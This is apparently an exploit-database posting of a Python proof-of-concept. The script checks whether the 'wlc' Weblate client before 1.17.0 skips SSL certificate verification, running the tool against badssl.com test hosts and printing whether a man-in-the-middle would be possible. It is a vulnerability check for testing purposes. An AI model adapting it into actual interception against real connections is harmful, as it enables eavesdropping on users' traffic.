The PoC is intended strictly for educational and controlled testing environments.\\n \\n [+] POC : python poc.py\\n \\n #!\/usr\/bin\/env python3\\n \\n import subprocess\\n import sys\\n import shutil\\n \\n def test_ssl_bypass(url):\\n \\n print(f\\”[*] Testing URL: {url}\\”)\\n \\n if not shutil.which(\\”wlc\\”):\\n print(\\”[!] The ‘wlc’ tool was not found in the system path.\\”)\\n return False\\n \\n try:\\n \\n cmd = [\\”wlc\\”, \\”–weblate-url\\”, url, \\”list-projects\\”]\\n result = subprocess.run(\\n cmd,\\n capture_output=True,\\n text=True,\\n timeout=10\\n )\\n \\n print(f\\”[*] Standard Output (STDOUT): {result.stdout[:100]}…\\”)\\n print(f\\”[*] Standard Error (STDERR): {result.stderr[:100]}…\\”)\\n print(f\\”[*] Exit Code: {result.returncode}\\”)\\n \\n return result.returncode == 0\\n \\n except subprocess.TimeoutExpired:\\n print(\\”[!] Connection timed out.\\”)\\n return False\\n except FileNotFoundError:\\n print(\\”[!] Failed to execute ‘wlc’ (not found or not executable).\\”)\\n return False\\n except Exception as e:\\n print(f\\”[!] Error: {e}\\”)\\n return False\\n \\n if __name__ == \\”__main__\\”:\\n \\n test_urls = [\\n \\”https:\/\/self-signed.badssl.com\/\\”,\\n \\”https:\/\/expired.badssl.com\/\\”,\\n ]\\n \\n print(\\”[*] Testing for SSL Bypass vulnerability in wlc\\”)\\n print(\\”[*] Target version: \\u003c 1.17.0\\”)\\n \\n for url in test_urls:\\n if test_ssl_bypass(url):\\n print(f\\”[OK] SSL verification bypassed for: {url}\\”)\\n print(\\”[!] Vulnerability confirmed: An MITM attacker could intercept the connection.\\”)\\n break\\n \\t\\t\\n Greetings to :============================================================\\n jericho * Larry W.
